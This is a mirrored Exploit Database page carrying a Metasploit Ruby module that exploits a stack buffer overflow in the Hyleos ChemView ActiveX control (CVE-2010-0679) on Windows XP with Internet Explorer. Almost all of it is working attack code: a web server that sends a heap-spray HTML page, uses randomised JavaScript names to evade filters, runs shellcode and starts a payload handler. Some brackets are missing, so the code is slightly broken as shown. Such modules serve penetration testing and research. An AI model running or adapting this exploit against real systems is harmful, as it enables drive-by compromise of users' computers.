Hyleos ChemView – ActiveX Control Stack Buffer Overflow (Metasploit)

Exploit Database
92 阅读

作者： Metasploit

日期： 2010-07-27
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16500/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

# $Id: hyleos_chemviewx_activex.rb 9935 2010-07-27 02:25:15Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking # heap spray :-/

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Hyleos ChemView ActiveX Control Stack Buffer Overflow',

'Description'=> %q{

This module exploits a stack-based buffer overflow within version 1.9.5.1 of Hyleos

ChemView (HyleosChemView.ocx). By calling the 'SaveAsMolFile' or 'ReadMolFile' methods

with an overly long first argument, an attacker can overrun a buffer and execute

arbitrary code.

'License'=> MSF_LICENSE,

'Author' =>

[

'Paul Craig <paul.craig[at]security-assessment.com>', # original discovery/advisory

'Dz_attacker <dz_attacker[at]hotmail.fr>', # original file format module

'jduck' # converted HttpServer module

'Version'=> '$Revision: 9935 $',

'References' =>

[

[ 'CVE', '2010-0679' ],

[ 'OSVDB', '62276' ],

[ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-11_ChemviewX_Activex.pdf' ],

[ 'URL', 'http://www.exploit-db.com/exploits/11422/' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0A0A0a0A, 'Offset' => 150 } ]

'DisclosureDate' => 'Feb 10 2010',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

clsid = "C372350A-1D5A-44DC-A759-767FC553D96C"

progid = "HyleosChemView.HLChemView"

methods = [ "ReadMolFile", "SaveAsMolFile" ]

method = methods[rand(methods.length)]

method = "SaveAsMolFile"

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

# It may be possible to create a more robust exploit, however --

# 1. The control's base address has been shown to vary (seen at 0x1c90000 and 0x1d90000)

# 2. The buffer overflow does not appear to be entirely straight forward.

# Encode the shellcode

shellcode = Rex::Text.to_unescape(p.encoded, Rex::Arch.endian(target.arch))

# Setup exploit buffers

nops = Rex::Text.to_unescape([target.ret].pack('V'))

ret = Rex::Text.uri_encode([target.ret].pack('L'))

blocksize = 0x40000

fillto= 300

offset = target['Offset']

# Randomize the javascript variable names

chemview = rand_text_alpha(rand(100) + 1)

j_shellcode= rand_text_alpha(rand(100) + 1)

j_nops = rand_text_alpha(rand(100) + 1)

j_ret= rand_text_alpha(rand(100) + 1)

j_headersize = rand_text_alpha(rand(100) + 1)

j_slackspace = rand_text_alpha(rand(100) + 1)

j_fillblock= rand_text_alpha(rand(100) + 1)

j_block= rand_text_alpha(rand(100) + 1)

j_memory = rand_text_alpha(rand(100) + 1)

j_counter= rand_text_alpha(rand(30) + 2)

content = %Q|<html>

#{j_shellcode}=unescape('#{shellcode}');

#{j_nops}=unescape('#{nops}');

#{j_headersize}=20;

#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;

while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};

#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});

#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});

while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};

#{j_memory}=new Array();

for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

var #{j_ret}='';

for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');

#{chemview}.#{method}(#{j_ret});

</script>

</html>|

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end